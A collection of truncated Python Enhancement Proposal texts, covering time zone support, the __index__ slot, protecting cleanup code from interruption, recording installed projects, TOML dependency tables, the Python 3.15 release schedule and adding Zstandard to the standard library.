are no longer provided.

The time zone support will be implemented by making the ``datetime`` module
into a package, and adding time zone support to ``datetime`` based on Stuart
Bishop's ``pytz`` module.


Getting the local time zone
---------------------------

On Unix there is no standard way of finding the name of the time zone that is
being used. All the information that is available is the time zone
abbreviations, such as ``EST`` and ``PDT``, but many of those abbreviations
are ambiguous and therefore you can't rely on them to figure out which time
zone you are located in.

There is however a standard for finding the compiled time zone information
since it's located in ``/etc/localtime``. Therefore, it is possible to create
a local time zone object with the correct time zone information even though
you don't know the name of the time zone. A function in ``datetime`` should
be provided to return the local time zone.

The support for this will be made by integrating Lennart Regebro's
``tzlocal`` module into the new ``datetime`` module.

For Windows it will look up the local Windows time zone name, and use a
mapping between Windows time zone names and zoneinfo time zone names provided
by the Unicode consortium to convert that to a zoneinfo time zone.

The mapping should be updated before each major or bugfix release, scripts
for doing so will be provided in the ``Tools/`` directory.


Ambiguous times
---------------

When changing over from daylight savings time (DST) the clock is turned back
one hour. This means that the times during that hour happens twice, once
with DST and then once without DST. Similarly, when changing to daylight
savings time, one hour goes missing.

The current time zone API can not differentiate between the two ambiguous
times during a change from DST. For example, in Stockholm the time of
2012-11-28 02:00:00 happens twice, both at UTC 2012-11-28 00:00:00 and also
at 2012-11-28 01:00:00.

The current time zone API can not disambiguate this and therefore it's
unclear which time should be returned::

    # This could be either 00:00 or 01:00 UTC:
    >>> dt = datetime(2012, 10, 28, 2, 0, tzinfo=zoneinfo('Europe/Stockholm'))
    # But we can not specify which:
    >>> dt.astimezone(zoneinfo('UTC'))
    datetime.datetime(2012, 10, 28, 1, 0, tzinfo=<UTC>)

``pytz`` solved this problem by adding ``is_dst`` parameters to several
methods of the tzinfo objects to make it possible to disambiguate times when
this is desired.

This PEP proposes to add these ``is_dst`` parameters to the relevant methods
of the ``datetime`` API, and therefore add this functionality directly to
``datetime``. This is likely the hardest part of this PEP as this involves
updating the C version of the ``datetime`` library with this functionality,
as this involved writing new code, and not just reorganizing existing
external libraries.


Implementation API
==================

The zoneinfo database
---------------------

The latest version of the zoneinfo database should exist in the
``Lib/tzdata`` directory of the Python source control system. This copy of
the database should be updated before every Python feature and bug-fix
release, but not for releases of Python versions that are in
security-fix-only-mode.

Scripts to update the database will be provided in ``Tools/``, and the
release instructions will be updated to include this update.

New configure options ``--enable-internal-timezone-database`` and
``--disable-internal-timezone-database`` will be implemented to enable and
disable the installation of this database when installing from source. A
source install will default to installing them.

Binary installers for systems that have a system-provided zoneinfo database
may skip installing the included database since it would never be used for
these platforms. For other platforms, for example Windows, binary installers
must install the included database.


Changes in the ``datetime``-module
----------------------------------

The public API of the new time zone support contains one new class, one new
function, one new exception and four new collections. In addition to this, several
methods on the datetime object gets a new ``is_dst`` parameter.

New class ``dsttimezone``
^^^^^^^^^^^^^^^^^^^^^^^^^

This class provides a concrete implementation of the ``tzinfo`` base
class that implements DST support.


New function ``zoneinfo(name=None, db_path=None)``
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This function takes a name string that must be a string specifying a
valid zoneinfo time zone, i.e. "US/Eastern", "Europe/Warsaw" or "Etc/GMT".
If not given, the local time zone will be looked up. If an invalid zone name
is given, or the local time zone can not be retrieved, the function raises
``UnknownTimeZoneError``.

The function also takes an optional path to the location of the zoneinfo
database which should be used. If not spe


id: pep-0357.rst
content:
PEP: 357
Title: Allowing Any Object to be Used for Slicing
Author: Travis Oliphant <oliphant@ee.byu.edu>
Status: Final
Type: Standards Track
Created: 09-Feb-2006
Python-Version: 2.5
Post-History:


Abstract
========

This PEP proposes adding an ``nb_index`` slot in ``PyNumberMethods`` and an
``__index__`` special method so that arbitrary objects can be used
whenever integers are explicitly needed in Python, such as in slice
syntax (from which the slot gets its name).


Rationale
=========

Currently integers and long integers play a special role in
slicing in that they are the only objects allowed in slice
syntax. In other words, if X is an object implementing the
sequence protocol, then ``X[obj1:obj2]`` is only valid if ``obj1`` and
``obj2`` are both integers or long integers.  There is no way for ``obj1``
and ``obj2`` to tell Python that they could be reasonably used as
indexes into a sequence.  This is an unnecessary limitation.

In NumPy, for example, there are 8 different integer scalars
corresponding to unsigned and signed integers of 8, 16, 32, and 64
bits.  These type-objects could reasonably be used as integers in
many places where Python expects true integers but cannot inherit from
the Python integer type because of incompatible memory layouts.
There should be some way to be able to tell Python that an object can
behave like an integer.

It is not possible to use the ``nb_int`` (and ``__int__`` special method)
for this purpose because that method is used to *coerce* objects
to integers.  It would be inappropriate to allow every object that
can be coerced to an integer to be used as an integer everywhere
Python expects a true integer.  For example, if ``__int__`` were used
to convert an object to an integer in slicing, then float objects
would be allowed in slicing and ``x[3.2:5.8]`` would not raise an error
as it should.


Proposal
========

Add an ``nb_index`` slot to ``PyNumberMethods``, and a corresponding
``__index__`` special method.  Objects could define a function to
place in the ``nb_index`` slot that returns a Python integer
(either an int or a long). This integer can
then be appropriately converted to a ``Py_ssize_t`` value whenever
Python needs one such as in ``PySequence_GetSlice``,
``PySequence_SetSlice``, and ``PySequence_DelSlice``.


Specification
=============

1) The ``nb_index`` slot will have the following signature::

       PyObject *index_func (PyObject *self)

   The returned object must be a Python ``IntType`` or
   Python ``LongType``. NULL should be returned on
   error with an appropriate error set.

2) The ``__index__`` special method will have the signature::

       def __index__(self):
           return obj

   where obj must be either an int or a long.

3) 3 new abstract C-API functions will be added

   a) The first checks to see if the object supports the index
      slot and if it is filled in.

      ::

          int PyIndex_Check(obj)

      This will return true if the object defines the ``nb_index``
      slot.

   b) The second is a simple wrapper around the ``nb_index`` call that
      raises ``PyExc_TypeError`` if the call is not available or if it
      doesn't return an int or long.  Because the
      ``PyIndex_Check`` is performed inside the ``PyNumber_Index`` call
      you can call it directly and manage any error rather than
      check for compatibility first.

      ::

          PyObject *PyNumber_Index (PyObject *obj)

   c) The third call helps deal with the common situation of
      actually needing a ``Py_ssize_t`` value from the object to use for
      indexing or other needs.

      ::

          Py_ssize_t PyNumber_AsSsize_t(PyObject *obj, PyObject *exc)

      The function calls the ``nb_index`` slot of obj if it is
      available and then converts the returned Python integer into
      a ``Py_ssize_t`` value.  If this goes well, then the value is
      returned.  The second argument allows control over what
      happens if the integer returned from ``nb_index`` cannot fit
      into a ``Py_ssize_t`` value.

      If exc is NULL, then the returned value will be clipped to
      ``PY_SSIZE_T_MAX`` or ``PY_SSIZE_T_MIN`` depending on whether the
      ``nb_index`` slot of obj returned a positive or negative
      integer.  If exc is non-NULL, then it is the error object
      that will be set to replace the ``PyExc_OverflowError`` that was
      raised when the Python integer or long was converted to ``Py_ssize_t``.

4) A new ``operator.index(obj)`` function will be added that calls
   equivalent of ``obj.__index__()`` and raises an error if obj does not implement
   the special method.


Implementation Plan
===================

1) Add the ``nb_index`` slot in ``object.h`` and modify ``typeobject.c`` to
   create the ``__index__`` method

2) Change the ``ISINT`` macro in ``ceval.c`` to ``ISINDEX`` and alter it to
   accommodate objects with the index slot defined.

3) Change the ``_PyEval_SliceIndex`` function to accommodate objects
   with the index slot defined.

4) Change all builtin objects (e.g. lists) that use the ``as_mapping``
   slots for subscript access and use a special-check for integers to
   check for the slot as well.

5) Add the ``nb_index`` slot to integers and long_integers
   (which just return themselves)

6) Add ``PyNumber_Index`` C-API to return an integer from any
   Python Object that has the ``nb_index`` slot.

7) Add the ``operator.index(x)`` function.

8) Alter ``arrayobject.c`` and ``mmapmodule.c`` to use the new C-API for their
   sub-scripting and other needs.

9) Add unit-tests


Discussion Questions
====================

Speed
-----

Implementation should not slow down Python because integers and long
integers used as indexes will complete in the same number of
instructions.  The only change will be that what used to generate
an error will now be acceptable.

Why not use ``nb_int`` which is already there?
----------------------------------------------

The ``nb_int`` method is used for coercion and so means something
fundamentally different than what is requested here.  This PEP
proposes a method for something that *can* already be thought of as
an integer communicate that information to Python when it needs an
integer.  The biggest example of why using ``nb_int`` would be a bad
thing is that float objects already define the ``nb_int`` method, but
float objects *should not* be used as indexes in a sequence.

Why the name ``__index__``?
---------------------------

Some questions were raised regarding the name ``__index__`` when other
interpretations of the slot are possible.  For example, the slot
can be used any time Python requires an integer internally (such
as in ``"mystring" * 3``).  The name was suggested by Guido because
slicing syntax is the biggest reason for having such a slot and
in the end no better name emerged. See the discussion thread [1]_
for examples of names that were suggested such as "``__discrete__``" and
"``__ordinal__``".

Why return ``PyObject *`` from ``nb_index``?
--------------------------------------------

Initially ``Py_ssize_t`` was selected as the return type for the
``nb_index`` slot.  However, this led to an inability to track and
distinguish overflow and underflow errors without ugly and brittle
hacks. As the ``nb_index`` slot is used in at least 3 different ways
in the Python core (to get an integer, to get a slice end-point,
and to get a sequence index), there is quite a bit of flexibility
needed to handle all these cases.  The importance of having the
necessary flexibility to handle all the use cases is critical.
For example, the initial implementation that returned ``Py_ssize_t`` for
``nb_index`` led to the discovery that on a 32-bit machine with >=2GB of RAM
``s = 'x' * (2**100)`` works but ``len(s)`` was clipped at 2147483647.
Several fixes were suggested but eventually it was decided that
``nb_index`` needed to return a Python Object similar to the ``nb_int``
and ``nb_long`` slots in order to handle over


id: pep-0419.rst
content:
PEP: 419
Title: Protecting cleanup statements from interruptions
Author: Paul Colomiets <paul@colomiets.name>
Status: Deferred
Type: Standards Track
Created: 06-Apr-2012
Python-Version: 3.3


Abstract
========

This PEP proposes a way to protect Python code from being interrupted
inside a finally clause or during context manager cleanup.

PEP Deferral
============

Further exploration of the concepts covered in this PEP has been deferred
for lack of a current champion interested in promoting the goals of the PEP
and collecting and incorporating feedback, and with sufficient available
time to do so effectively.


Rationale
=========

Python has two nice ways to do cleanup.  One is a ``finally``
statement and the other is a context manager (usually called using a
``with`` statement).  However, neither is protected from interruption
by ``KeyboardInterrupt`` or ``GeneratorExit`` caused by
``generator.throw()``.  For example::

    lock.acquire()
    try:
        print('starting')
        do_something()
    finally:
        print('finished')
        lock.release()

If ``KeyboardInterrupt`` occurs just after the second ``print()``
call, the lock will not be released.  Similarly, the following code
using the ``with`` statement is affected::

    from threading import Lock

    class MyLock:

        def __init__(self):
            self._lock_impl = Lock()

        def __enter__(self):
            self._lock_impl.acquire()
            print("LOCKED")

        def __exit__(self):
            print("UNLOCKING")
            self._lock_impl.release()

    lock = MyLock()
    with lock:
        do_something

If ``KeyboardInterrupt`` occurs near any of the ``print()`` calls, the
lock will never be released.


Coroutine Use Case
------------------

A similar case occurs with coroutines.  Usually coroutine libraries
want to interrupt the coroutine with a timeout.  The
``generator.throw()`` method works for this use case, but there is no
way of knowing if the coroutine is currently suspended from inside a
``finally`` clause.

An example that uses yield-based coroutines follows.  The code looks
similar using any of the popular coroutine libraries Monocle [1]_,
Bluelet [2]_, or Twisted [3]_. ::

    def run_locked():
        yield connection.sendall('LOCK')
        try:
            yield do_something()
            yield do_something_else()
        finally:
            yield connection.sendall('UNLOCK')

    with timeout(5):
        yield run_locked()

In the example above, ``yield something`` means to pause executing the
current coroutine and to execute coroutine ``something`` until it
finishes execution.  Therefore, the coroutine library itself needs to
maintain a stack of generators.  The ``connection.sendall()`` call waits
until the socket is writable and does a similar thing to what
``socket.sendall()`` does.

The ``with`` statement ensures that all code is executed within 5
seconds timeout.  It does so by registering a callback in the main
loop, which calls ``generator.throw()`` on the top-most frame in the
coroutine stack when a timeout happens.

The ``greenlets`` extension works in a similar way, except that it
doesn't need ``yield`` to enter a new stack frame.  Otherwise
considerations are similar.


Specification
=============

Frame Flag 'f_in_cleanup'
-------------------------

A new flag on the frame object is proposed.  It is set to ``True`` if
this frame is currently executing a ``finally`` clause.  Internally,
the flag must be implemented as a counter of nested finally statements
currently being executed.

The internal counter also needs to be incremented during execution of
the ``SETUP_WITH`` and ``WITH_CLEANUP`` bytecodes, and decremented
when execution for these bytecodes is finished.  This allows to also
protect ``__enter__()`` and ``__exit__()`` methods.


Function 'sys.setcleanuphook'
-----------------------------

A new function for the ``sys`` module is proposed.  This function sets
a callback which is executed every time ``f_in_cleanup`` becomes
false.  Callbacks get a frame object as their sole argument, so that
they can figure out where they are called from.

The setting is thread local and must be stored in the
``PyThreadState`` structure.


Inspect Module Enhancements
---------------------------

Two new functions are proposed for the ``inspect`` module:
``isframeincleanup()`` and ``getcleanupframe()``.

``isframeincleanup()``, given a frame or generator object as its sole
argument, returns the value of the ``f_in_cleanup`` attribute of a
frame itself or of the ``gi_frame`` attribute of a generator.

``getcleanupframe()``, given a frame object as its sole argument,
returns the innermost frame which has a true value of
``f_in_cleanup``, or ``None`` if no frames in the stack have a nonzero
value for that attribute.  It starts to inspect from the specified
frame and walks to outer frames using ``f_back`` pointers, just like
``getouterframes()`` does.


Example
=======

An example implementation of a SIGINT handler that interrupts safely
might look like::

    import inspect, sys, functools

    def sigint_handler(sig, frame):
        if inspect.getcleanupframe(frame) is None:
            raise KeyboardInterrupt()
        sys.setcleanuphook(functools.partial(sigint_handler, 0))

A coroutine example is out of scope of this document, because its
implementation depends very much on a trampoline (or main loop) used
by coroutine library.


Unresolved Issues
=================

Interruption Inside With Statement Expression
---------------------------------------------

Given the statement ::

    with open(filename):
        do_something()

Python can be interrupted after ``open()`` is called, but before the
``SETUP_WITH`` bytecode is executed.  There are two possible
decisions:

* Protect ``with`` expressions.  This would require another bytecode,
  since currently there is no way of recognizing the start of the
  ``with`` expression.

* Let the user write a wrapper if he considers it important for the
  use-case.  A safe wrapper might look like this::

      class FileWrapper(object):

          def __init__(self, filename, mode):
              self.filename = filename
              self.mode = mode

          def __enter__(self):
              self.file = open(self.filename, self.mode)

          def __exit__(self):
              self.file.close()

  Alternatively it can be written using the ``contextmanager()``
  decorator::

      @contextmanager
      def open_wrapper(filename, mode):
          file = open(filename, mode)
          try:
              yield file
          finally:
              file.close()

  This code is safe, as the first part of the generator (before yield)
  is executed inside the ``SETUP_WITH`` bytecode of the caller.


Exception Propagation
---------------------

Sometimes a ``finally`` clause or an ``__enter__()``/``__exit__()``
method can raise an exception.  Usually this is not a problem, since
more important exceptions like ``KeyboardInterrupt`` or ``SystemExit``
should be raised instead.  But it may be nice to be able to keep the
original exception inside a ``__context__`` attribute.  So the cleanup
hook signature may grow an exception argument::

    def sigint_handler(sig, frame)
        if inspect.getcleanupframe(frame) is None:
            raise KeyboardInterrupt()
        sys.setcleanuphook(retry_sigint)

    def retry_sigint(frame, exception=None):
        if inspect.getcleanupframe(frame) is None:
            raise KeyboardInterrupt() from exception

.. note::

   There is no need to have three arguments like in the ``__exit__``
   method since there is a ``__traceback__`` attribute in exception in
   Python 3.

However, this will set the ``__cause__`` for the exception, which is
not exactly what's intended.  So some hidden interpreter logic may be
used to put a ``__context__`` attribute on every exception raised in a
cleanup hook.


Interruption Between Acquiring Resource and Try Block
-----------------------


id: pep-0627.rst
content:
PEP: 627
Title: Recording installed projects
Author: Petr Viktorin <encukou@gmail.com>
BDFL-Delegate: Paul Moore <p.f.moore@gmail.com>
Discussions-To: https://discuss.python.org/t/pep-627/4126
Status: Final
Type: Standards Track
Topic: Packaging
Created: 15-Jul-2020
Resolution: https://discuss.python.org/t/pep-627/4126/42


.. canonical-pypa-spec:: :ref:`packaging:recording-installed-packages`


Abstract
========

This PEP clarifies and updates :pep:`376` (Database of Installed Python
Distributions), rewriting it as an interoperability standard.
It moves the canonical location of the standard to the Python
Packaging Authority (PyPA) standards repository, and sets up guidelines
for changing it.

Two files in installed ``.dist-info`` directories are made optional:
``RECORD`` (which :pep:`376` lists as mandatory, but suggests it can be left out
for "system packages"), and ``INSTALLER``.


Motivation
==========

Python packaging is moving from relying on specific tools (Setuptools and pip)
toward an ecosystem of tools and tool-agnostic interoperability standards.

:pep:`376` is not written as an interoperability standard.
It describes implementation details of specific tools and libraries,
and is underspecified, leaving much room for implementation-defined behavior.

This is a proposal to âdistillâ the standard from :pep:`376`, clarify it,
and rewrite it to be tool-agnostic.

The aim of this PEP is to have a better standard, not necessarily a perfect one.
Some issues are left to later clarification.


Rationale Change
================

:pep:`376`'s rationale focuses on two problems:

* There are too many ways to install projects and this makes interoperation difficult.
* There is no API to get information on installed distributions.

The new document focuses only the on-disk format of information about
installed projects.
Providing API to install, uninstall or query this information is left to
be implemented by tools.


Standard and Changes Process
============================

The canonical standard for *Recording installed projects* (previously known as
*Database of Installed Python Distributions*) is the `documentation`_ at
``packaging.python.org``.
Any changes to the document (except trivial language or typography fixes) must
be made through the PEP process.

The document is normative (with examples to aid understanding).
PEPs that change it, such as this one, contain additional information that is
expected to get out of date, such as rationales and compatibility
considerations.

The proposed standard is submitted together with this PEP as a pull request to
``packaging.python.org``.

.. _documentation: https://packaging.python.org/specifications/recording-installed-packages/


Changes and their Rationale
===========================

Renaming to "Recording installed projects"
------------------------------------------

The standard is renamed from *Database of Installed Python Distributions*
to *Recording installed projects*.

While putting files in known locations on disk may be thought of as
a âdatabaseâ, it's not what most people think about when they hear the term.
The PyPA links to :pep:`376` under the heading *Recording installed distributions*.

The PyPA glossary defines âDistributionâ (or, âDistribution Packageâ to prevent
confusion with e.g. Linux distributions) as âA versioned archive file [â¦]â.
Since there may be other ways to install Python code than from archive files,
the document uses âinstalled projectâ rather than âinstalled distributionâ.


Removal of Implementation Details
---------------------------------

All tool- and library-specific details are removed.
The mechanisms of how a project is installed are also left out: the document
focuses on the end state.
One exception is a sketch of an uninstallation algorithm,
which is given to better explain the purpose of the ``RECORD`` file.

References to ``.egg-info`` and ``.egg``,
formats specific to ``setuptools`` and ``distutils``,
are left out.


Explicitly Allowing Additional Files
------------------------------------

The ``.dist-info`` directory is allowed to contain files not specified in
the spec.
The current tools already do this.

A note in the specification mentions files in the ``.dist-info`` directory of *wheels*.
Current tools copy these files to the installed ``.dist-info``âsomething
to keep in mind for further standardization efforts.


Clarifications in the ``RECORD`` File
-------------------------------------

The CSV dialect is specified to be the default of Python's ``csv`` module.
This resolves edge cases around handling double-quotes and line terminators
in file names.

The âbaseâ of relative paths in ``RECORD`` is specified relative to the
``.dist-info`` directory, rather than tool-specific ``--install-lib`` and
``--prefix`` options.

Both *hash* and *size* fields are now optional (for any file, not just
``.pyc``, ``.pyo`` and ``RECORD``). Leavng them out is discouraged,
except for ``*.pyc`` and ``RECORD`` itself.
(Note that :pep:`376` is unclear on what was optional; when taken literally,
its text and examples contradict. Despite that, âboth fields are optionalâ is a
reasonable interpretation of :pep:`376`.
The alternative would be to mandateârather than recommendâwhich files can be
recorded without hash and size, and to update that list over time as new use
cases come up.)

The new spec explicitly says that the ``RECORD`` file must now include *all*
files of the installed project (the exception for ``.pyc`` files remains).
Since tools use ``RECORD`` for uninstallation, incomplete file lists could
introduce orphaned files to users' environments.
On the other hand, this means that there is no way to record hashes of some
any files if the full list of files is unknown.

A sketch of an uninstallation algorithm is included to clarify the file's
primary purpose and contents.

Tools must not uninstall/remove projects that lack a ``RECORD`` file
(unless they have external information, such as in system package
managers of Linux distros).

On Windows, files in ``RECORD`` may be separated by either ``/`` or ``\``.
:pep:`376` was unclear on this: it mandates forward slashes in one place, but
shows backslackes in a Windows-specific example.



Optional ``RECORD`` File
------------------------

The ``RECORD`` file is made optional.
Not all tools can easily generate a list of installed files in a
Python-specific format.

Specifically, the ``RECORD`` file is unnecessary when projects are installed
by a Linux system packaging system, which has its own ways to keep track of
files, uninstall them or check their integrity.
Having to keep a ``RECORD`` file in sync with the disk and the system package
database would be unreasonably fragile, and no ``RECORD`` file is better
than one that does not correspond to reality.

(Full disclosure: The author of this PEP is an RPM packager active in the Fedora Linux distro.)


Optional ``INSTALLER`` File
---------------------------

The ``INSTALLER`` file is also made optional, and specified to be used for
informational purposes only.
It is still a single-line text file containing the name of the installer.

This file was originally added to distinguish projects installed by the Python
installer (``pip``) from ones installed by other package managers
(e.g. ``dnf``).
There were attempts to use this file to prevent ``pip`` from updating or
uninstalling packages it didn't install.

Our goal is supporting interoperating tools, and basing any action on
which tool happened to install a package runs counter to that goal.

Instead of relying on the installer name, tools should use feature detection.
The current document offers a crude way of making a project untouchable by
Python tooling: omitting ``RECORD`` file.

On the other hand, the installer name may be useful in hints to the user.

To align with this new purpose of the file, the new specification allows
any ASCII string in ``INSTALLER``, rather than a


id: pep-0633.rst
content:
PEP: 633
Title: Dependency specification in pyproject.toml using an exploded TOML table
Author: Laurie Opperman <laurie_opperman@hotmail.com>,
        Arun Babu Neelicattu <arun.neelicattu@gmail.com>
Sponsor: Brett Cannon <brett@python.org>
Discussions-To: https://discuss.python.org/t/dependency-specification-in-pyproject-toml-using-an-exploded-toml-table/5123/
Status: Rejected
Type: Standards Track
Topic: Packaging
Created: 02-Sep-2020
Post-History: 02-Sep-2020
Resolution: https://discuss.python.org/t/how-to-specify-dependencies-pep-508-strings-or-a-table-in-toml/5243/38


Rejection Notice
================

This PEP has been rejected in favour of :pep:`631` due to its popularity,
consistency with the existing usage of :pep:`508` strings, and compatibility
with existing packaging tool suites.


Abstract
========

This PEP specifies how to write a project's dependencies in a
``pyproject.toml`` file for packaging-related tools to consume using the fields
defined in :pep:`621`, as an alternative to the :pep:`508`-based approach
defined in :pep:`631`.


Motivation
==========

There are multiple benefits to using TOML tables and other data-types to
represent requirements rather than :pep:`508` strings:

- Easy initial validation via the TOML syntax.

- Easy secondary validation using a schema, for example a `JSON Schema`_.

- Potential for users to guess the keys of given features, rather than
  memorising a syntax.

- Users of multiple other popular languages may already be familiar with the
  TOML syntax.

- TOML directly represents the same data structures as in JSON, and therefore a
  sub-set of Python literals, so users can understand the hierarchy and type of
  value

.. _JSON Schema: https://json-schema.org/


Rationale
=========

Most of this is taken from discussions in the `PEP 621 dependencies topic`_.
This has elements from `Pipfile`_, `Poetry`_, `Dart's dependencies`_ and
`Rust's Cargo`_. A `comparison document`_ shows advantages and disadvantages
between this format and :pep:`508`-style specifiers.

In the specification of multiple requirements with the same distribution name
(where environment markers choose the appropriate dependency), the chosen
solution is similar to `Poetry`_'s, where an array of requirements is allowed.

The direct-reference keys closely align with and utilise :pep:`610` and
:pep:`440` as to reduce differences in the packaging ecosystem and rely on
previous work in specification.

.. _PEP 621 dependencies topic: https://discuss.python.org/t/pep-621-how-to-specify-dependencies/4599
.. _Pipfile: https://github.com/pypa/pipfile
.. _Poetry: https://python-poetry.org/docs/dependency-specification/
.. _Dart's dependencies: https://dart.dev/tools/pub/dependencies
.. _Rust's Cargo: https://doc.rust-lang.org/cargo/reference/specifying-dependencies.html
.. _comparison document: https://github.com/uranusjr/packaging-metadata-comparisons/blob/master/topics/dependency-entries.md


Specification
=============

As in :pep:`621`, if metadata is improperly specified then tools MUST raise an
error. The metadata MUST conform to the `TOML`_ specification.

To reduce confusion with this document being a specification for specifying
dependencies, the word "requirement" is used to mean a :pep:`508` dependency
specification.

The following tables are added to the ``project`` table specified in
:pep:`621`.

.. _TOML: https://toml.io/

``dependencies``
----------------

Format: table

The keys inside this table are the names of the required distribution. The
values can have one of the following types:

- string: the requirement is defined only by a version requirement, with same
  specification as ``version`` in the requirement table, except allowing the
  empty string ``""`` to place no restriction on the version.

- table: a requirement table.

- array: an array of requirement tables. It is an error to specify an empty
  array ``[]`` as a value.

Requirement table
^^^^^^^^^^^^^^^^^

The keys of the requirement table are as follows (all are optional):

- ``version`` (string): a :pep:`440` version specifier, which is a
  comma-delimited list of version specifier clauses. The string MUST be
  non-empty.

- ``extras`` (array of strings): a list of :pep:`508` extras declarations for
  the distribution. The list MUST be non-empty.

- ``markers`` (string): a :pep:`508` environment marker expression. The string
  MUST be non-empty.

- ``url`` (string): the URL of the artifact to install and satisfy the
  requirement. Note that ``file://`` is the prefix used for packages to be
  retrieved from the local filesystem.

- ``git``, ``hg``, ``bzr`` or ``svn`` (string): the URL of a VCS repository
  (as specified in :pep:`440`)
  to clone, whose tree will be installed to satisfy the requirement. Further
  VCS keys will be added via amendments to :pep:`610`, however tools MAY opt to
  support other VCS's using their command-line command prior to the acceptance
  of the amendment.

- ``revision`` (string): the identifier for a specific revision of the
  specified VCS repository to check-out before installation. Users MUST only
  provide this when one of ``git``, ``hg``, ``bzr``, ``svn``, or another VCS
  key is used to identify the distribution to install. Revision identifiers are
  suggested in :pep:`610`.

At most one of the following keys can be specified simultaneously, as they
logically conflict with each other in the requirement: ``version``, ``url``,
``git``, ``hg``, ``bzr``, ``svn``, and any other VCS key.

An empty requirement table ``{}`` places no restriction on the requirement, in
addition to the empty string ``""``.

Any keys provided which are not specified in this document MUST cause an error
in parsing.

``optional-dependencies``
--------------------------

Format: table

The keys inside this table are the names of an extra's required distribution.
The values can have one of the following types:

- table: a requirement table.

- array: an array of requirement tables.

These requirement tables have
`the same specification as above <requirement table_>`_, with the addition of
the following required key:

- ``for-extra`` (string): the name of the :pep:`508` extra that this
  requirement is required for.


Reference implementation
========================

Tools will need to convert this format to :pep:`508` requirement strings. Below
is an example implementation of that conversion (assuming validation is already
performed):

.. code-block::

    def convert_requirement_to_pep508(name, requirement):
        if isinstance(requirement, str):
            requirement = {"version": requirement}
        pep508 = name
        if "extras" in requirement:
            pep508 += " [" + ", ".join(requirement["extras"]) + "]"
        if "version" in requirement:
            pep508 += " " + requirement["version"]
        if "url" in requirement:
            pep508 += " @ " + requirement["url"]
        for vcs in ("git", "hg", "bzr", "svn"):
            if vcs in requirement:
                pep508 += " @ " + vcs + "+" + requirement[vcs]
                if "revision" in requirement:
                    pep508 += "@" + requirement["revision"]
        extra = None
        if "for-extra" in requirement:
            extra = requirement["for-extra"]
        if "markers" in requirement:
            markers = requirement["markers"]
            if extra:
                markers = "extra = '" + extra + "' and (" + markers + ")"
            pep508 += "; " + markers
        return pep508, extra


    def convert_requirements_to_pep508(dependencies):
        pep508s = []
        extras = set()
        for name, req in dependencies.items():
            if isinstance(req, list):
                for sub_req in req:
                    pep508, extra = convert_requirement_to_pep508(name, sub_req)
                    pep508s.append(pep508)
                    if extra:
                        extras.add(extra)
            else:
                pep508, extra = convert_requirement


id: pep-0790.rst
content:
PEP: 790
Title: Python 3.15 Release Schedule
Author: Hugo van Kemenade
Status: Active
Type: Informational
Topic: Release
Created: 26-Apr-2025
Python-Version: 3.15


Abstract
========

This document describes the development and release schedule for Python 3.15.

Release manager and crew
========================

- 3.15 release manager: Hugo van Kemenade
- Windows installers: Steve Dower
- Mac installers: Ned Deily
- Documentation: Julien Palard


Release schedule
================

3.15.0 schedule
---------------

The dates below use a 17-month development period that results in a 12-month
release cadence between feature versions, as defined by :pep:`602`.

Expected:

- 3.15 development begins: Tuesday, 2025-05-06
- 3.15.0 alpha 1: Tuesday, 2025-10-14
- 3.15.0 alpha 2: Tuesday, 2025-11-18
- 3.15.0 alpha 3: Tuesday, 2025-12-16
- 3.15.0 alpha 4: Tuesday, 2026-01-13
- 3.15.0 alpha 5: Tuesday, 2026-02-10
- 3.15.0 alpha 6: Tuesday, 2026-03-10
- 3.15.0 alpha 7: Tuesday, 2026-04-07
- 3.15.0 beta 1: Tuesday, 2026-05-05
  (No new features beyond this point.)
- 3.15.0 beta 2: Tuesday, 2026-05-26
- 3.15.0 beta 3: Tuesday, 2026-06-16
- 3.15.0 beta 4: Tuesday, 2026-07-14
- 3.15.0 candidate 1: Tuesday, 2026-07-28
- 3.15.0 candidate 2: Tuesday, 2026-09-01
- 3.15.0 final: Thursday, 2026-10-01

Subsequent bugfix releases every two months.


3.15 lifespan
-------------

* Python 3.15 will receive bugfix updates approximately every second month for
  two years.
* Around the time of the release of 3.18.0 final, the final 3.15 bugfix update
  will be released.
* After that, it is expected that security updates (source only) will be
  released for the next three years, until five years after the release of
  3.15.0 final, so until approximately October 2031.


Copyright
=========

This document is placed in the public domain or under the
CC0-1.0-Universal license, whichever is more permissive.


id: pep-0784.rst
content:
PEP: 784
Title: Adding Zstandard to the standard library
Author: Emma Harper Smith <emma@python.org>
Sponsor: Gregory P. Smith <greg@krypto.org>
Discussions-To: https://discuss.python.org/t/87377
Status: Accepted
Type: Standards Track
Created: 06-Apr-2025
Python-Version: 3.14
Post-History:
  `07-Apr-2025 <https://discuss.python.org/t/87377>`__,
Resolution: `25-Apr-2025 <https://discuss.python.org/t/87377/138>`__


Abstract
========

`Zstandard`_ is a widely adopted, mature, and highly efficient compression
standard. This PEP proposes adding a new module to the Python standard library
containing a Python wrapper around Meta's |zstd| library, the default
implementation. Additionally, to avoid name collisions with packages on PyPI
and to present a unified interface to Python users, compression modules in the
standard library will be moved under a ``compression.*`` package.

.. |zstd| replace:: ``zstd``
.. _zstd: https://facebook.github.io/zstd/
.. _Zstandard: https://facebook.github.io/zstd/


Motivation
==========

CPython has modules for several different compression formats, such as
:mod:`zlib (DEFLATE) <zlib>`, :mod:`gzip <gzip>`, :mod:`bzip2 <bz2>`, and
:mod:`lzma <lzma>`, each widely used. Including popular compression algorithms
matches Python's "batteries included" philosophy of incorporating widely useful
standards and utilities. :mod:`!lzma` is the most recent such module, added in
Python 3.3.

Since then, Zstandard has become the modern *de facto* preferred compression
library for both high performance compression and decompression attaining high
compression ratios at reasonable CPU and memory cost. Zstandard achieves a much
higher compression ratio than bzip2 or zlib (DEFLATE) while decompressing
significantly faster than LZMA.

Zstandard has seen `widespread adoption`_ in many different areas of computing.
The numerous hardware implementations demonstrate long-term commitment to
Zstandard and an expectation that Zstandard will stay the *de facto* choice for
compression for years to come. This is further evidenced by Zstandard's IETF
standardization in :rfc:`8478`. Zstandard compression is also implemented in
both the ZFS_ and Btrfs_ filesystems.

Zstandard's highly efficient compression has supplanted other modern
compression formats, such as brotli_, lzo_, and ucl_ due to its highly
efficient compression. While `LZ4`_ is still used in very high throughput
scenarios, Zstandard can also be used in some of these contexts.
While inclusion of LZ4 is out of scope, it would be a compelling future
addition to the ``compression`` namespace introduced by this PEP.

There are several bindings to Zstandard for Python available on PyPI, each with
different APIs and choices of how to bind the ``zstd`` library. One goal with
introducing an official module in the standard library is to reduce confusion
for Python users who want simple compression/decompression APIs for Zstandard.
